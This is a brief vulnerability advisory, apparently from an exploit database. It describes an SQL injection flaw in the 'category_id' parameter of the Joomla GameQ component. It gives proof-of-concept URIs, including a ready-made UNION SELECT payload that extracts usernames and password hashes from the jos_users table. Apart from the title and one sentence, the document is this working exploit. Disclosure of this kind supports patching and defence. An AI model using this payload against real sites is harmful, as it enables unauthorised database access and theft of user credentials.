Joomla! GameQ Component 'category_id' Parameter SQL Injection Vulnerability

Joomla! GameQ Component 'category_id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URIs are available:

http://www.example.com/[Joomla_Path]/index.php?option=com_gameq&task=page&category_id=[SQL]
http://www.example.com/[Joomla_Path]/index.php?option=com_gameq&task=page&category_id=-1 UNION SELECT 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14 FROM jos_users--